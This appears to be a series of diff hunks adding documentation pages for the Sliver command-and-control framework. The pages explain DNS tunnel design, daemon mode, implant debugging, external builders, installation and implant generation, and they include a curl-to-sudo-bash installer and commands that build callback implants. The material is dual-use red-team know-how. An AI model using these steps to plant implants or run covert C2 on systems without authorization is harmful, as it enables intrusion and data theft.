[implant] <--> [resolver]
|
||||
|<------> [.]
|
||||
|<------> [.com.]
|
||||
|<------> [example.com.] (attacker controlled)
|
||||
```
|
||||
|
||||
This allows an implant to establish a connection to an attacker controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small, in fact if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2Mb file then we're gonna have to send _a lot of_ queries, this means that DNS communication is going to be _slow_ (~30Kbps) even at the best of times.
|
||||
|
||||
### Rude DNS Resolvers
|
||||
|
||||
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
|
||||
|
||||
### Encoder Selection
|
||||
|
||||
So if we want to build a "fast" DNS tunnel, we need to be able to pack as much data into each request as possible, more data per query the fewer queries we need to send for a given message.
|
||||
|
||||
So how much data can we stuff into a DNS query? Well let's take a look at what goes into a DNS query, a DNS query contains some header fields and then a "questions" section, a single query may contain multiple questions. For example, we can ask "is there an A record for example.com" (an A records contain IPv4 addresses). Now, we can encode a handful of bits into some of the header fields and a couple other sections like the Type/Class, but by far the largest field is `QNAME`, which contains the domain we're asking a question about:
|
||||
|
||||
```
|
||||
1 1 1 1 1 1
|
||||
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
|
||||
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|
||||
| |
|
||||
/ QNAME /
|
||||
/ /
|
||||
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|
||||
| QTYPE |
|
||||
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|
||||
| QCLASS |
|
||||
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|
||||
```
|
||||
|
||||
Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be up to 254 characters in length and may only contain ASCII `a-z`, `A-Z`, `0-9`, `-`, but `-` may not appear at the beginning of a name, and of course `.` separators. Each subdomain is separated by a `.` and may be up to 63 characters in length. However, DNS is a case-insensitive protocol thus `a` and `A` are considered equal from DNS' standpoint. Now as I said before the spec is really more guidelines than rules, so both `a` and `A` are technically allowed they're just considered equal in DNS' semantics.
|
||||
|
||||
Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.
|
||||
|
||||
To workaround this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a x2 size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around x1.6 size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over x1.33 message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
|
||||
|
||||
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fallback to Base32. I call this process "fingerprinting" the resolver.
|
||||
|
||||
### Fingerprinting Rude Resolvers
|
||||
|
||||
The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g. `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
|
||||
|
||||
In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.
|
||||
|
||||
### Bytes Per Query
|
||||
|
||||
Since the encoder used to send data is selected at runtime, as described above, the number of bytes that can be encoded into a query depends on both the length of the parent domain and the encoder selected. Therefore given some message of `n` bytes we must dynamically determine how many queries are needed to send the message.
|
||||
|
||||
First we calculate how many characters of the total domain can be used to encode data, which depends on the length of the parent domain. A maximum of 254 characters per domain always applies regardless of the number of subdomains. So for example we have more space leftover when using `1.abc.com` (254 - 9 = 245) vs. `a.thisisalongdomainname.com` (254 - 27 = 227), however we must also account for `.` every 63 characters, and the number of these may differ depending on the space leftover after the parent domain. The number of characters that can be used to represent data I call the "subdata space" (i.e., not counting the parent domain and `.`'s) and is calculated as:
|
||||
|
||||
```go
|
||||
254 - len(parent) - (1 + (254-len(parent))/64)
|
||||
```
|
||||
|
||||
This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially `n` bytes encoded length must be equal to or less than the subdata space. Its important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
|
||||
|
||||
### Parallel Send/Recv
|
||||
|
||||
In addition to optimizing our use of encoders, we can also increase performance if we can send queries with encoded data out of order, or that is to say in parallel, since sending in parallel will most assuredly result in messages arriving at the server out of order.
|
||||
|
||||
To account for this, Sliver wraps the message of `n` bytes in a protobuf message that contains some metadata:
|
||||
|
||||
```protobuf
|
||||
message DNSMessage {
|
||||
DNSMessageType Type = 1; // An enum type
|
||||
uint32 ID = 2; // 8 bit message id + 24 bit dns session ID
|
||||
uint32 Start = 3; // These bytes of `Data` start at
|
||||
uint32 Stop = 4; // These bytes of `Data` stop at
|
||||
uint32 Size = 5; // Total message size (e.g. last message Stop = Size)
|
||||
bytes Data = 6; // Actual data
|
||||
}
|
||||
```
|
||||
|
||||
This does result in some overhead, and we must account for this as part of the bytes-per-query math.
|
||||
|
||||
Since each message contains ordering and size data the server can now receive any part of the message in any order and sort/reconstruct the original message once all the pieces have been received.
|
||||
@@ -0,0 +1,28 @@
|
||||
Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
|
||||
There are two ways to start the server in daemon mode:
|
||||
|
||||
1. Using the command line interface: `sliver-server daemon`
|
||||
2. Set `daemon_mode` to `true` in the `configs/server.json` located in `SLIVER_ROOT_DIR` (by default: `~/.sliver/configs/server.json`). The listener can be configured via the `daemon` object. The process will respond gracefully to `SIGTERM` on Unix-like operating systems.
|
||||
|
||||
#### Example Config
|
||||
|
||||
```
|
||||
$ cat ~/.sliver/configs/server.json
|
||||
{
|
||||
"daemon_mode": true,
|
||||
"daemon": {
|
||||
"host": "",
|
||||
"port": 31337
|
||||
},
|
||||
"logs": {
|
||||
"level": 5,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### systemd
|
||||
|
||||
With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
|
||||
@@ -0,0 +1,99 @@
|
||||
Debugging Sliver binaries (server, client and implant) can be done using the [delve](https://github.com/go-delve/delve) debugger. The following examples are specific to Visual Studio Code, but other IDEs using delve probably have similar configuration options.
|
||||
|
||||
Delve can be installed with the following command, note that you'll need `$GOPATH/bin` on your `$PATH`:
|
||||
|
||||
```
|
||||
go install github.com/go-delve/delve/cmd/dlv@latest
|
||||
```
|
||||
|
||||
For more details please see https://github.com/go-delve/delve/tree/master/Documentation/installation#installation
|
||||
|
||||
# Debugging the Server
|
||||
|
||||
Debugging the Sliver needs to be done via delve [remote debugging](https://github.com/golang/vscode-go/blob/master/docs/debugging.md#remote-debugging) feature. This means you need to first start the binary with the following command:
|
||||
|
||||
```
|
||||
dlv debug \
|
||||
--build-flags="-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=1.1.2 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=github.com -X github.com/bishopfox/sliver/client/version.GitCommit=aabbcc -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty'" \
|
||||
--headless \
|
||||
--listen=:2345 \
|
||||
--api-version=2 \
|
||||
--log \
|
||||
github.com/bishopfox/sliver/server
|
||||
```
|
||||
|
||||
To simplify things, you can add this command as a VSCode task, by adding the following to your [`.vscode/tasks.json` file](https://code.visualstudio.com/docs/editor/tasks):
|
||||
|
||||
```json
|
||||
{
|
||||
"label": "Run Debug Server",
|
||||
"type": "shell",
|
||||
"command": "dlv",
|
||||
"args": [
|
||||
"debug",
|
||||
"--build-flags=\"-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=0.0.0 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=https://api.github.com/repos/BishopFox/sliver/releases -X github.com/bishopfox/sliver/client/version.GitCommit=debug -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty -X github.com/bishopfox/sliver/client/assets.DefaultArmoryPublicKey=RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L -X github.com/bishopfox/sliver/client/assets.DefaultArmoryRepoURL=https://api.github.com/repos/sliverarmory/armory/releases'\"",
|
||||
"--headless",
|
||||
"--listen=:8844",
|
||||
"--api-version=2",
|
||||
"--log",
|
||||
"github.com/bishopfox/sliver/server"
|
||||
],
|
||||
"presentation": {
|
||||
"echo": true,
|
||||
"reveal": "always",
|
||||
"focus": true,
|
||||
"showReuseMessage": false,
|
||||
"clear": true,
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": ["$go"]
|
||||
}
|
||||
```
|
||||
|
||||
Then, you need to create your `.vscode/launch.json` file containing the following:
|
||||
|
||||
```json
|
||||
{
|
||||
"version": "0.2.0",
|
||||
"configurations": [
|
||||
{
|
||||
"name": "Debug Server",
|
||||
"type": "go",
|
||||
"request": "attach",
|
||||
"mode": "remote",
|
||||
"remotePath": "${workspaceFolder}",
|
||||
"port": 8844,
|
||||
"host": "127.0.0.1",
|
||||
"trace": "log"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Once you're all set, start by running the `Run Debug Server` task, and then hit `F5` (or use the UI to start the debugging task).
|
||||
|
||||
# Debugging the Implant
|
||||
|
||||
To debug an implant, first make sure you built one by passing the `--debug` flag to the `generate` command. Then, add the following debug configuration to your `.vscode/launch.json` file:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "Debug Implant",
|
||||
"type": "go",
|
||||
"request": "attach",
|
||||
"mode": "remote",
|
||||
"remotePath": "",
|
||||
"port": "REMOTE_PORT", // replace this
|
||||
"host": "REMOTE_HOST" // replace this
|
||||
}
|
||||
```
|
||||
|
||||
The `REMOTE_HOST` and `REMOTE_PORT` placeholders will need to be replaced to match the ones you specified on your delve server.
|
||||
|
||||
You will need to install the delve debugger on the target host. Once installed, run the delve server using the `exec` mode on your generated implant binary:
|
||||
|
||||
```shell
|
||||
dlv exec --api-version 2 --headless --listen REMOTE_HOST:REMOTE_PORT --log .\implant.exe
|
||||
```
|
||||
|
||||
Once the server is running on your target, select the `Debug Implant` debug configuration in VSCode and click on `Run`.
|
||||
@@ -0,0 +1,35 @@
|
||||
### Assets
|
||||
|
||||
- `SLIVER_ROOT_DIR` - Override sliver root directory, the default is `~/.sliver/`
|
||||
|
||||
### Updates
|
||||
|
||||
- `SLIVER_NO_UPDATE_CHECK` - If set to any non-blank value, never check for updates
|
||||
|
||||
### Generate
|
||||
|
||||
#### Override All CC
|
||||
|
||||
- `SLIVER_CC_64` - Override all paths to 64 bit cross compiler
|
||||
- `SLIVER_CC_32` - Override all paths to 32 bit cross compiler
|
||||
|
||||
#### Override Platform CC
|
||||
|
||||
- `SLIVER_WINDOWS_CC_64` - Override path to Windows 64 bit cross compiler
|
||||
- `SLIVER_LINUX_CC_64` - Override path to Linux 64 bit cross compiler
|
||||
- `SLIVER_DARWIN_CC_64` - Override path to MacOS 64 bit cross compiler
|
||||
- `SLIVER_WINDOWS_CC_32` - Override path to Windows 32 bit cross compiler
|
||||
- `SLIVER_LINUX_CC_32` - Override path to Linux 32 bit cross compiler
|
||||
|
||||
#### Override All CXX
|
||||
|
||||
- `SLIVER_CXX_64` - Override all paths to 64 bit cross compiler
|
||||
- `SLIVER_CXX_32` - Override all paths to 32 bit cross compiler
|
||||
|
||||
#### Override Platform CXX
|
||||
|
||||
- `SLIVER_WINDOWS_CXX_64` - Override path to Windows 64 bit cross compiler
|
||||
- `SLIVER_LINUX_CXX_64` - Override path to Linux 64 bit cross compiler
|
||||
- `SLIVER_DARWIN_CXX_64` - Override path to MacOS 64 bit cross compiler
|
||||
- `SLIVER_WINDOWS_CXX_32` - Override path to Windows 32 bit cross compiler
|
||||
- `SLIVER_LINUX_CXX_32` - Override path to Linux 32 bit cross compiler
|
||||
@@ -0,0 +1,92 @@
|
||||
Starting in v1.5.30 Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g. connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increasing performance (e.g. having a low powered cloud host offload a local PC).
|
||||
|
||||
External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.
|
||||
|
||||
```
|
||||
MacOS .dylib Implant Builds
|
||||
┌─────────────────────────────────────┐
|
||||
│ │
|
||||
▼ │
|
||||
┌───────────┐ ┌─────┴─────┐
|
||||
│ MacOS │ Multiplayer │ Linux │
|
||||
│ Builder ├────────────────────────►│ Server │
|
||||
│ │ │ │
|
||||
└───────────┘ └───────────┘
|
||||
▲
|
||||
┌───────────┐ │
|
||||
│Windows │ Multiplayer │
|
||||
│ Operator ├─────────────────────────────┘
|
||||
│ │
|
||||
└───────────┘
|
||||
```
|
||||
|
||||
## Builders
|
||||
|
||||
#### Setup
|
||||
|
||||
Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](/docs?name=Multi-player+Mode) from the server you want to connect the builder to, for example:
|
||||
|
||||
```
|
||||
./sliver-server builder -c operator-multiplayer.cfg
|
||||
```
|
||||
|
||||
When started as a builder, the Sliver process will mirror log output to stdout by default, however this can be disabled (see `sliver-server builder --help`).
|
||||
|
||||
**⚠️ IMPORTANT:** Make sure the builder and server have identical `http-c2.json` configuration files to avoid incompatibility problems.
|
||||
|
||||
**⚠️ IMPORTANT:** Builders must have unique names, by default the builder's hostname will be used, but this can be changed using the `--name` cli flag.
|
||||
|
||||
#### External Builds
|
||||
|
||||
Any operator can see which builders are connected to the server using the `builders` command. This command will also show what templates, formats, and compiler targets each builder supports:
|
||||
|
||||
```
|
||||
sliver > builders
|
||||
|
||||
Name Operator Templates Platform Compiler Targets
|
||||
=============================== ========== =========== ============== ==========================
|
||||
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
|
||||
EXECUTABLE:linux/amd64
|
||||
EXECUTABLE:windows/386
|
||||
EXECUTABLE:windows/amd64
|
||||
EXECUTABLE:darwin/amd64
|
||||
EXECUTABLE:darwin/arm64
|
||||
SHARED_LIB:windows/386
|
||||
SHARED_LIB:windows/amd64
|
||||
SHARED_LIB:darwin/amd64
|
||||
SHARED_LIB:darwin/arm64
|
||||
SHARED_LIB:linux/amd64
|
||||
SERVICE:windows/386
|
||||
SERVICE:windows/amd64
|
||||
SHELLCODE:windows/386
|
||||
SHELLCODE:windows/amd64
|
||||
```
|
||||
|
||||
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
|
||||
|
||||
```
|
||||
sliver > generate --mtls localhost --os mac --arch arm64 --external-builder
|
||||
|
||||
[*] Using external builder: molochs-MacBook-Pro-111.local
|
||||
[*] Externally generating new darwin/arm64 implant binary
|
||||
[*] Symbol obfuscation is enabled
|
||||
[*] Creating external build ... done
|
||||
[*] Build completed in 1m19s
|
||||
```
|
||||
|
||||
If a given format/target combination is supported by multiple external builders you will be prompted to select one for the build.
|
||||
|
||||
#### Limitations
|
||||
|
||||
Currently external builds do not support DNS canaries.
|
||||
|
||||
## Implant Customization
|
||||
|
||||
You are welcome to customize the implant source code under the terms of Sliver's [GPLv3 license](https://github.com/BishopFox/sliver/blob/master/LICENSE). While we plan to improve the workflow over time, currently the easiest way to operationalize changes to the implant source code is:
|
||||
|
||||
1. Fork the main Sliver Github repository
|
||||
1. Make modifications to the source code
|
||||
1. [Compile a Sliver server binary](/docs?name=Compile+from+Source)
|
||||
1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
|
||||
1. Operators can generate the customized implant builds via the `generate --external-builder` flag
|
||||
1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs
|
||||
@@ -0,0 +1,58 @@
|
||||
This GPG key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
|
||||
|
||||
https://raw.githubusercontent.com/BishopFox/sliver/master/server/assets/fs/sliver.asc
|
||||
|
||||
```
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
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
|
||||
=lxj2
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
```
|
||||
@@ -0,0 +1,251 @@
|
||||
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
|
||||
|
||||
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
|
||||
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
|
||||
For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash`
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/install-1.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`):
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
#### System Requirements
|
||||
|
||||
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
|
||||
|
||||
### MinGW Setup (Optional, Recommended)
|
||||
|
||||
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
#### Linux (Debian-based)
|
||||
|
||||
```
|
||||
apt install git mingw-w64
|
||||
```
|
||||
|
||||
#### MacOS
|
||||
|
||||
```
|
||||
brew install git mingw-w64
|
||||
```
|
||||
|
||||
**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW.
|
||||
|
||||
See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details.
|
||||
|
||||
### Metasploit Setup (Optional)
|
||||
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 6.2+.
|
||||
|
||||
## Implants: Beacon vs. Session
|
||||
|
||||
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
|
||||
|
||||
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
|
||||
|
||||
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
|
||||
|
||||
Some commands such as `shell` and `portfwd` only work over interactive sessions.
|
||||
|
||||
## Generating Implants
|
||||
|
||||
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
|
||||
|
||||
#### Session Mode
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
#### Beacon Mode
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
|
||||
|
||||
Some commands/features may not work on "unsupported" platforms.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
|
||||
|
||||
[*] Generating new darwin/amd64 Sliver binary
|
||||
[*] Build completed in 00:00:09
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
|
||||
```
|
||||
|
||||
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
|
||||
|
||||
```
|
||||
sliver > implants
|
||||
|
||||
Name OS/Arch Debug Format
|
||||
==== ======= ===== ======
|
||||
CAUTIOUS_PANPIPE darwin/amd64 false EXECUTABLE
|
||||
LATE_SUBCOMPONENT windows/amd64 false SHARED_LIB
|
||||
RUBBER_PRINTER windows/amd64 true SHARED_LIB
|
||||
